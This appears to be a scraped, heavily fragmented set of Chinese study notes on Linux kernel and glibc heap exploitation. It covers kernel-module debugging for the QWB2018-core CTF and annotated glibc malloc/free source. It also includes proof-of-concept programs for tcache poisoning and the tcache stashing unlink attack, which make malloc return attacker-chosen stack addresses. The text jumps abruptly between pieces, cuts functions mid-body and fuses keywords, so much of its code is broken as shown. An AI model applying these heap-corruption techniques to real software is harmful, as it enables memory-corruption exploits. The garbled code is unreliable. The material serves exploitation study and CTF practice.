root@Destroyer:/home/dustball/busybox/_install# cd .. root@Destroyer:/home/dustball/busybox# file rootfs.img rootfs.img: ASCII cpio archive (SVR4 with no CRC)
/proc # cat /proc/modules ktest 122880 - Live 0xffffffffc0000000 (O)
也就是说内核模块ktest在0xffffffffc0000000
下面从gdb上为其加载符号
1 2 3 4
pwndbg> add-symbol-file ./ktest.ko 0xffffffffc0000000 add symbol table from file "./ktest.ko" at .text_addr = 0xffffffffc0000000 Reading symbols from ./ktest.ko...done.
之后就可以下断点,源码调试了
1 2
pwndbg> b ko_test_init Breakpoint 2 at 0xffffffffc0000000: file /home/dustball/kd/ktest.c, line 7.
/** * prepare_creds - Prepare a new set of credentials for modification * * Prepare a new set of task credentials for modification. A task's creds * shouldn't generally be modified directly, therefore this function is used to * prepare a new copy, which the caller then modifies and then commits by * calling commit_creds(). * * Preparation involves making a copy of the objective creds for modification. * * Returns a pointer to the new creds-to-be if successful, NULL otherwise. * * Call commit_creds() or abort_creds() to clean up. */ struct cred *prepare_creds(void) { structtask_struct *task = current; conststructcred *old; structcred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) returnNULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred; memcpy(new, old, sizeof(struct cred));
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# file core.cpio core.cpio: gzip compressed data, last modified: Fri Oct 5 14:08:36 2018, max compression, from Unix
发现首先有一层gzip压缩
1 2 3 4 5 6 7
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# mkdir core root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# cp core.cpio ./core root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# cd core root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# mv core.cpio core.cpio.gz root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# gunzip core.cpio.gz root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# file core.cpio core.cpio: ASCII cpio archive (SVR4 with no CRC)
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ # define TCACHE_MAX_BINS 64 # define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables. */ # define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) //根据tcache下标求解其中堆块的大小 /* When "x" is from chunksize(). */ # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) //根据堆块大小求解对应tcache下标 /* When "x" is a user-provided size. */ # define usize2tidx(x) csize2tidx (request2size (x)) //根据堆块的mem区大小,首先计算得到堆块的整体大小(包括元数据)然后计算对应tcache下标 /* With rounding and alignment, the bins are... idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) idx 1 bytes 25..40 or 13..20 idx 2 bytes 41..56 or 21..28 etc. */
/* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7
/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */ static __always_inline void * tcache_get(size_t tc_idx)//从tc_idx桶子中拿出一个堆块 { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
staticvoid tcache_thread_shutdown(void) {//线程死亡时释放这个线程的tcache,实际上调用free函数释放该线程的tcache中的堆块 int i; tcache_perthread_struct *tcache_tmp = tcache;
if (!tcache) return;
/* Disable the tcache and prevent it from being reinitialized. */ tcache = NULL; tcache_shutting_down = true;
/* Free all of the entries and the tcache itself back to the arena heap for coalescing. */ for (i = 0; i < TCACHE_MAX_BINS; ++i) { while (tcache_tmp->entries[i]) { tcache_entry *e = tcache_tmp->entries[i]; tcache_tmp->entries[i] = e->next; __libc_free (e); } }
if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory - in which case, we just keep trying later. However, we typically do this very early, so either there is sufficient memory, or there isn't enough memory to do non-trivial allocations anyway. */ if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0, sizeof (tcache_perthread_struct)); }
if (victim != NULL) { if (SINGLE_THREAD_P)//单线程的情况 *fb = victim->fd; else//多线程的情况 REMOVE_FB(fb, pp, victim);//首先拿出一个堆块来 if (__glibc_likely(victim != NULL)) { size_t victim_idx = fastbin_index(chunksize(victim)); if (__builtin_expect(victim_idx != idx, 0)) malloc_printerr("malloc(): memory corruption (fast)"); check_remalloced_chunk(av, victim, nb); #if USE_TCACHE //已经拿出了一个符合要求的堆块,剩余的堆块放到tcache中缓存(直到tcache满),如果tcache满了就不再往里塞了 /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx(nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB(fb, pp, tc_victim); if (__glibc_unlikely(tc_victim == NULL)) break; } tcache_put(tc_victim, tc_idx); } } #endif void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } } }
if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av, idx);
if ((victim = last(bin)) != bin)//首先取出一个last(bin)堆块来给victim { bck = victim->bk; if (__glibc_unlikely(bck->fd != victim)) malloc_printerr("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset(victim, nb); bin->bk = bck;//将victim从链上摘下来 bck->fd = bin;
if (av != &main_arena) set_non_main_arena(victim); check_malloced_chunk(av, victim, nb); #if USE_TCACHE //本桶子中剩余的堆块塞进tcache,塞满7个为止,多余的仍在smallbin中放着 /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx(nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset(tc_victim, nb); if (av != &main_arena) set_non_main_arena(tc_victim); bin->bk = bck; bck->fd = bin;
/* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */
if (size == nb)//如果当前堆块的大小符合要求,不会立刻分配,首先应该放到tcache中 { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) set_non_main_arena(victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put(victim, tc_idx); return_cached = 1;//记录至少有一个堆块放到了tcache,待会儿就可以从tcache中拿堆块了 continue; //continue直接跳到while一开始拿下一个堆块了 } else//直到对应tcache存满了才会直接进行分配 { #endif check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; #if USE_TCACHE } #endif } //到此说明victim既不是last_remainder,大小也不是正合适 /* place chunk in bin */
/* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert(chunk_main_arena(bck->bk)); if ((unsignedlong)(size) < (unsignedlong)chunksize_nomask(bck->bk)) { fwd = bck; bck = bck->bk;
#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count;//unsortedbin中最大可以容忍的缓存次数 if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get(tc_idx); }//结算阶段,如果return_cached是正合适大小的堆块入tcache的标记,如果被置1说明至少能从tcache中找到一个合适的堆块 #endif
#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break;//unsortedbin这里的循环最多10000次 }
跳出unsortedbin循环,再检查一次tcache中是否有合适堆块
1 2 3 4 5 6 7 8
#if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached) { return tcache_get(tc_idx); } #endif
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var; printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Freeing the buffers...\n"); free(a); free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); b[0] = (intptr_t)&stack_var; printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", &stack_var);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
//put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]);
//convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]); return0; }
首先顺序分配9个堆块
1 2 3
for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
然后把[3,8]这六个放到tcache中
1 2 3
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
然后将1放到tcache中
1
free(chunk_lis[1]);
此时tcache中的结构
1 2
flowchart LR t["tcache[idx]"]---->1---->8---->7---->6---->5---->4---->3
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
structmalloc_chunk* fd;/* double links -- used only if free. */ structmalloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */ structmalloc_chunk* fd_nextsize;/* double links -- used only if free. */ structmalloc_chunk* bk_nextsize; };
large
bin中挂着的chunk是按照大小排序的,一个chunk逻辑上相连的chunk可能大小相同,也可能不同,fd_nextsize,bk_nextsize就指向第一个大小不同的chunk
这样说比较抽象,具体见后面的largebin结构
空间复用
分配时状态
1 2 3 4 5 6 7 8 9 10 11 12 13 14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, ifunallocated(P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
空闲时状态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
宏定义
指针转换
1 2 3
/* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void *) ((char *) (p) + 2 * SIZE_SZ)) #define mem2chunk(mem) ((mchunkptr)((char *) (mem) -2 * SIZE_SZ))
mem就是数据区,chunk就是malloc_chunk的基地址,两者的关系在图上表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, ifunallocated(P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */ #define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
/* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
/* Bits to mask off when extracting size Note: IS_MMAPPED is intentionally not masked off from size field in macros for which mmapped chunks should never be seen. This should cause helpful core dumps to occur if it is tried by accident by people extending or adapting this malloc. */ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
获取本chunk size
1 2 3 4 5
/* Get size, ignoring use bits */ #define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */ #define chunksize_nomask(p) ((p)->mchunk_size)
/* Set size at head, without disturbing its use bit */ // SIZE_BITS = 7 #define set_head_size(p, s) \ ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
/* Set size/use field */ #define set_head(p, s) ((p)->mchunk_size = (s))
/* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) \ (((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s))
这里set_foot干了啥?
p是chunk指针,s是该chunk的大小,p+s就指向了本chunk的结尾,
也就是下一个chunk的基地址,也就是下一个chunk的prev_size成员,
于是p+s强转为一个malloc_chunk类型指针,
然后取其第一个成员也就是prev_size,写上本chunk的大小
指定偏移处认为是一个chunk
1 2
/* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
实际上largebins和smallbins可以看成一个整体,前64个桶子是smallbins 前64个桶子相邻两个桶子之间大小差8字节 然后32个桶子相邻两个桶子之间大小差64字节 然后16个桶子相邻两个桶子之间大小差512字节 ... 64 bins of size 8 32 bins of size 64 16 bins of size 512 8 bins of size 4096 4 bins of size 32768 2 bins of size 262144 1 bin of size what's left
victim = _int_malloc (ar_ptr, bytes);//int_malloc函数是实际进行内存分配的函数 /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL)//分配失败并且没有获取到分配区 { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes);//分配区获取失败,重试一次 victim = _int_malloc (ar_ptr, bytes);//重新获取分配区之后再次尝试切割堆块给victim }
if (ar_ptr != NULL)//解锁,因为int_malloc中会对分配区上锁,解锁后方便其他线程分配内存 (void) mutex_unlock (&ar_ptr->mutex);
INTERNAL_SIZE_T nb; /* normalized request size *///本变量是用户希望大小size的计算值,也就是实际的堆块大小 unsignedint idx; /* associated bin index *///本变量用于记录nb大小的堆块属于的桶子下标 mbinptr bin; /* associated bin */;//桶子头指针
mchunkptr victim; /* inspected/selected chunk *///命中堆块 INTERNAL_SIZE_T size; /* its size *///victim命中堆块本来的大小 int victim_index; /* its bin index *///victim_index命中堆块属于的桶子下标
mchunkptr remainder; /* remainder from a split *///切割一个大块,剩下的部分被称为remainder unsignedlong remainder_size; /* its size *///剩余部分的大小
unsignedint block; /* bit map traverser *///binmap下标,用于记录一个桶子属于四个block之一的哪一个 unsignedint bit; /* bit map traverser *///用于记录一共桶子属于其block中的哪一位 unsignedintmap; /* current word of binmap *///binmap[map],作为binmap的下标,有0,1,2,3四个取值
mchunkptr fwd; /* misc temp for linking *///取桶子头之后一般会让bck指向之前的第一个堆块,fwd指向桶子头,然后头插 mchunkptr bck; /* misc temp for linking */
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; }
staticvoidmalloc_consolidate(mstate av) { mfastbinptr *fb; /* current fastbin being consolidated */ mfastbinptr *maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; mchunkptr bck; mchunkptr fwd;
/* If max_fast is 0, we know that av hasn't yet been initialized, in which case do so below */
if (get_max_fast() != 0)//如果max_faxt值为空,则说明堆还没有初始化 { clear_fastchunks(av);
unsorted_bin = unsorted_chunks(av);
/* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren't immediately going to be reused anyway. */
maxfb = &fastbin(av, NFASTBINS - 1); fb = &fastbin(av, 0); do { p = atomic_exchange_acq(fb, 0); // p=fb,fb++ if (p != 0) { do { // 释放快桶子p上挂着的所有堆块 check_inuse_chunk(av, p); nextp = p->fd; // 先取后继
/* Slightly streamlined version of consolidation code in free() */ size = p->size & ~(PREV_INUSE | NON_MAIN_ARENA); // 撤销flag nextchunk = chunk_at_offset(p, size); // 物理上相邻的下一个堆块 nextsize = chunksize(nextchunk);
if (!prev_inuse(p))//向前合并 { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long)prevsize));//取物理上前一个相邻的堆块基址,作为合并堆块的基址 unlink(av, p, bck, fwd); }
if (nextchunk != av->top)//如果后面和topchunk相邻则和topchunk合并,否则尝试向后合并 { nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */
/* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsignedlong)(size) < (unsignedlong)(bck->bk->size)) { fwd = bck; bck = bck->bk;
if (!in_smallbin_range(nb))//如果是一个largebin的请求 { bin = bin_at(av, idx);//取桶子头
/* skip scan if empty or largest chunk is too small */ if ((victim = first(bin)) != bin && (unsignedlong)(victim->size) >= (unsignedlong)(nb)) {//first(bin)=bin->fd,可以看出bin->fd应该是该桶子中最大的一个堆块,然后顺着fd指针越来越小 //如果最大的堆块都不满足nb的需求,显然再往后找更小的无意义,因此首先需要判断最大的堆块是否能满足要求, //当这个前提条件满足时,再向后找最佳适配的堆块 victim = victim->bk_nextsize;//bk_nextsize是下一个比当前victim小的堆块,victim->bk可能和victim一样大,但是victim->bk_nextsize要么是桶子头,要么一定比当前堆块小 while (((unsignedlong)(size = chunksize(victim)) < (unsignedlong)(nb))) victim = victim->bk_nextsize;//从小开始遍历直到第一个大于等于nb大小的堆块
/* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last(bin) && victim->size == victim->fd->size) victim = victim->fd;//避免移除跳表的最开始一个导致变更指针,首先尝试寻找该大小的堆块是否有第二块,如果有则放过跳表头 remainder_size = size - nb;//victim块比较抠,只分配nb大小左右,多余的不给 unlink(av, victim, bck, fwd);
/* Exhaust */ if (remainder_size < MINSIZE)//如果发现victim分割后的剩余部分都是下脚料就不抠了 { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ else//否则victim剩余部分放到unsortedbin { remainder = chunk_at_offset(victim, nb);//取victim切割nb字节之后的剩余部分 /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely(fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck;//头插法 remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL;//如果剩余大小还是largebin大小,则此时预先将指针清零 remainder->bk_nextsize = NULL; } set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); set_foot(remainder, remainder_size); } check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } }
/* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */
++idx; //取下一个桶子的下标 bin = bin_at(av, idx); //首先查binmap,看看下一个桶子是否确实有空闲堆块 block = idx2block(idx); map = av->binmap[block]; bit = idx2bit(idx);
for (;;) { /* Skip rest of block if there are no more set bits in this block. */ if (bit > map || bit == 0)//如果bit>map只可能是map=0,也就是当前block是空的 { do { if (++block >= BINMAPSIZE) /* out of bins */ goto use_top;//如果发现block遍历了4个block,全是空的,也就是largebin空了,直接使用top_chunk分配 } while ((map = av->binmap[block]) == 0);//跳过所有空的largebin
bin = bin_at(av, (block << BINMAPSHIFT)); bit = 1; }
/* Advance to bin with set bit. There must be one. */ while ((bit & map) == 0)//尝试找一个map对应block中有堆块的桶子 { bin = next_bin(bin); bit <<= 1;//左移也就是往largebin更大的方向找 assert(bit != 0); }//退出循环时,bin对应的桶子中一定有堆块
/* Inspect the bin. It is likely to be non-empty */ victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */ if (victim == bin)//检查是否该bin中至少有一个堆块,这是因为map是懒修改的 {//也就是说,map中标记有的不一定有,但是map中标记没有的一定没有 av->binmap[block] = map &= ~bit; /* Write through */ //本桶子中确实没有,但也不是没有功劳,起码可以修改map,下一次查找一定不会查本桶子 bin = next_bin(bin); bit <<= 1;//继续向更大的largebin桶子寻找 }
else//本桶子中确实有至少一个堆块 { size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */ assert((unsignedlong)(size) >= (unsignedlong)(nb));
remainder_size = size - nb;
/* unlink */ unlink(av, victim, bck, fwd);
/* Exhaust */ if (remainder_size < MINSIZE)//下脚料一起送人 { set_inuse_bit_at_offset(victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; }
use_top: /* If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule. In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */
/* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ elseif (have_fastchunks(av)) { malloc_consolidate(av); /* restore original bin index */ if (in_smallbin_range(nb)) idx = smallbin_index(nb); else idx = largebin_index(nb); }
/* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) || __builtin_expect(misaligned_chunk(p), 0)) { errstr = "free(): invalid pointer"; errout: if (!have_lock && locked) (void)mutex_unlock(&av->mutex); malloc_printerr(check_action, errstr, chunk2mem(p), av); return; } /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) { errstr = "free(): invalid size"; goto errout; }
if ((unsignedlong)(size) <= (unsignedlong)(get_max_fast())//如果释放堆块大小落在fastbin范围内
#if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ && (chunk_at_offset(p, size) != av->top)//检查后面是否和topchunk相邻,(如果相邻需要合并,不会进入fastbin) #endif ) {
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {//首先检查堆块大小是否比最小大小要大,并且是不是可以分配的范围内 /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */ if (have_lock || ({c assert(locked == 0); mutex_lock(&av->mutex); locked = 1; chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; } if (!have_lock) { (void)mutex_unlock(&av->mutex); locked = 0; } } //已获得锁 free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);//堆块的mem数据区清零
